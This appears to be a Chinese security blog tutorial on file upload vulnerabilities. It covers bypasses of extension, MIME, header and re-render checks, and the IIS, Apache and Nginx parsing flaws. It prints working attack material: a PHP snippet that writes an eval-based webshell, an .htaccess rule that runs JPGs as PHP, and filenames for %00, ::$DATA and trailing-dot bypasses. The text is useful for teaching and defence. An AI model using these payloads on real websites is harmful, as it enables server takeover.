本文最后更新于:星期一, 四月 27日 2020, 6:09 晚上
文件上传漏洞
漏洞原理
网站WEB应用存在一些文件上传功能,如文档、头像、图片、视频上传等,但是上传文件时,服务端代码对客户端上传的文件没有进行严格的校验和过滤,就可能导致可以上传任意文件。
危害
通过这个漏洞,非法用户可以上传恶意脚本文件(webshell),通过webshell来控制整个网站,可以实现查看服务器目录、文件、执行系统命令等操作。
上传检测流程
- 客户端
- JavaScript检测文件扩展名
- 服务端
- 服务端MIME类型检测(检测Content-Type内容)
- 服务端目录路径检测(检测Path参数相关的内容)
- 服务端文件扩展名检测
- 服务端文件内容检测(检测文件头或者是否包含恶意代码)
绕过方法
JS检测绕过
客户端浏览器使用JS对客户上传的文件后缀名进行检测,如果不符和条件就会弹框警告。
function checkUpload(fileobj){ var fileArr = fileobj.value.split("."); //对文件名进行处理 var ext = fileArr[fileArr.length-1]; //得到文件扩展名 if(ext!='gif') //验证扩展名 { alert("Only upload GIF images."); fileobj.value = ""; //清除数据 } }
这个很容易绕过,大致有两种方法。
一是直接禁用掉浏览器的JS,这个方法比较粗暴,不推荐使用,禁用JS的话可以用火狐的一个叫NoScript的插件。
另一种方法是将要上传的文件后缀改为允许上传的后缀,绕过JS检测,再抓包,将后缀名修改为可执行脚本的后缀名。
文件类型绕过
如果服务端是通过Content-Type来判断文件类型的话,只要抓包修改它的值为允许的值就可以绕过了
服务端文件扩展名绕过
服务端文件扩展名检测有两种检测方法:
黑名单检测
黑名单检测会检测上传的文件是否是包含在blacklist里的危险类型,如:
$file_name = $_FILES['fupload']['name']; // 文件名 $file_ext = substr($file_name, strrpos($file_name,'.') + 1); //文件后缀 $file_tmp = $_FILES['fupload']['tmp_name']; //临时文件 $target_path = "uploads/".md5(uniqid(rand())).".".$file_ext; //存储路径与名称 // 检测后缀名 $black_ext = explode("|", "asp|asa|cer|cdx|aspx|ashx|ascx|asax|php|php2|php3|php4|php5|asis|htaccess|htm|html|shtml|pwml|phtml|phtm|js|jsp|vbs|asis|sh|reg|cgi|exe|dll|com|bat|pl|cfc|cfm|ini"); // 转换为数组 if(in_array($file_ext,$black_ext)) { exit("Only upload GIF images."); }
白名单检测
白名单检测会只允许用户上传指定类型的文件,如:jpg/png/gif等
黑名单检测绕过
后缀名大小写绕过
服务端没有将后缀名转化成统一的格式进行比较,导致可以上传成功后缀为PhP等类型的文件,同时windows操作系统对大小写不敏感,所以.PhP会被当做.php文件解析。这个在Linux下就不好使了。
重写绕过
服务端将黑名单的后缀名都替换为空,但是它只进行一次。那么上传后缀名为.pphphp的文件,替换php一次为空,文件的后缀名就为.php
特殊可解析绕过
服务端的黑名单不严谨,在某些特定的环境某些特殊的后缀名也会被当成php文件解析。
php|php2|php3|php4|php5|php6|php7|phtml|phtm|pht
基于debain和ubuntu的apt-get安装的apache2,默认对文件解析规则如下:
.htaccess绕过
在apache中,.htaccess是一个配置文件,可以用来控制文件目录的访问权限以及解析设置。可以通过这个文件将该目录下的所有文件当作php来解析。
配置上要允许.htaccess生效
- Apache开启rewrite模块
- Apache配置文件为AllowOverride All(默认为None)
配置文件的两种写法
AddType application/x-httpd-php .jpg or <FileMatch "jpg"> SetHandler application/x-httpd-php </FileMatch>
通过上传这样一个.htaccess文件,就可以将目录下的jpg当作php来解析了。
利用操作系统特性-windows
windows对文件和文件名存在限制,上传不符合windows文件命名规则的文件名,在最后生成文件时,字符会被自动去除
shell.php. shell.php...... shell.php_ shell.php(空格) shell.php[%81-%99]
windows文件流绕过
shell.php::$DATA shell.php::$DATA......
白名单检测绕过
白名单检测一般比较难绕过,通常是比较难绕过的,一般是结合解析漏洞、服务端代码漏洞(造成%00截断的相关函数)、以及相关的操作系统特性来绕过。
%00截断
这个对php的版本有要求, php 版本<5.3.4 ,同时php的magic_quotes_gpc为OFF状态 。
在文件上传中,利用%00截断,在文件扩展名验证时,是去文件的扩展名来验证,但是最后文件保存到本地时,%00会截断文件名,只保存%00之前的内容。
具体做法,上传一个shell.php的文件,抓包将文件名修改为shell.php%00.jpg,上传成功。
操作系统特性
文件名使用非字母数字,比如中文等最大程度的拉长,不同的操作系统文件名最大长度不同,可以测试出来。
windows
windows10文件名长度最大为223包括后缀,win2012的为237
Linux
linux ubuntu.16.04.1文件名长度最大252
服务端文件内容检测绕过
文件头检测
服务端只检测了文件头,png|jpg|gif文件头如下:
PNG:8950 4E 47
JPG:FFD8 FF E0 00 10 4A 46 49 46
GIF:4749 46 38 39 61
只要在一句话木马前加上文件头就可以绕过了
getimagesize()函数绕过
服务端使用getimagesize()函数来检测文件类型,这个函数通过检查文件头来判断文件类型,所以绕过方法和上面一样,也是加对应的文件头就可以了
exif_imagetype()
exif_imagetype()函数通过读取文件的第一个字节来判断文件类型,绕过方法同上
图片二次渲染
服务端对图片进行了二次渲染,将原本属于图片数据的部分提取出来,再用自己的API或者函数进行渲染,通常php使用的是GD库,这个一般比较难绕过。
基本绕过方法是基本方法是通过对比处理前和处理后的图片数据,找出没未经处理的数据区域,然后将代码插入。
GIF可以使用基本方法去做,但是jpg和png就比较难。
jpg和png的制作方法参考: https://xz.aliyun.com/t/2657
条件竞争绕过
一些网站上传文件的逻辑是先允许上传任意文件,然后检查上传文件是否包含webshell,如果包含则删除该文件。这里存在条件竞争,文件上传成功后和删除文件之间存在时间差,利用这个时间差可以生成一个新的webshell
<?php fputs(fopen("../shell.php","w"),'<?php @eval($_POST[cmd]);'); ?>
解析漏洞
解析漏洞是指服务器对http请求处理不当导致将非可执行的文件当作可执行的脚本来执行,一般配合文件上传功能使用。
IIS
IIS6.0
目录解析
在网站下建立的文件夹的名称中带有.asp、.asa等可执行脚本文件后缀的文件夹,其目录下的任何扩展名文件都会被IIS当作可执行脚本来解析并执行。
文件解析
服务器默认不解析;后的内容,所以shell.asp;.jpg会被识别为asp文件
shell.asp;.jpg
文件类型解析
IIS6.0默认可执行文件除了.asp,还包括
.asa .cdx .cer
,这三种类型都可以被解析执行。IIS7.0/IIS7.5
漏洞出现自php-cgi,与Nginx的解析漏洞类似。对任意文件名只要在URL后面追加字符串
/任意文件名.php
就会被当成php文件去解析。shell.jpg/x.php
Apache
Apache解析文件的规则是从右到左的开始判断的,如果后缀名为不可识别文件,就往左判断.
shell.php.xxx.aaa.bbb
这个文件会被解析成php
漏洞存在的Apache版本
Apache2.0.x<=2.0.59
Apache2.2.x<=2.2.17
Nginx
Nginx默认是以CGI的方式支持php解析的,通常的做法是在Nginx的配置文件中通过正则设置 SCRIPT_FILENAME 。当访问www.demo.com/shell.jpg/x.php
时,$fastcgi_scipt_name
会被设置为”shell.jpg/x.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI。如果开启了fix_pathinfo
这个选项,那么PHP会认为SCRIPT_FILENAME是shell.jpg,而x.php 是PATH_INFO,所以shell.jpg会被当成php来解析。
REFERENCE
- https://thief.one/2016/09/21/%E6%9C%8D%E5%8A%A1%E5%99%A8%E8%A7%A3%E6%9E%90%E6%BC%8F%E6%B4%9E/
- https://masterxsec.github.io/2017/04/26/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%80%BB%E7%BB%93/
- https://thief.one/2016/09/22/上传木马姿势汇总-欢迎补充/
- https://www.freebuf.com/articles/web/179954.html
- http://byd.dropsec.xyz/2017/02/21/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0-%E7%BB%95%E8%BF%87/
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!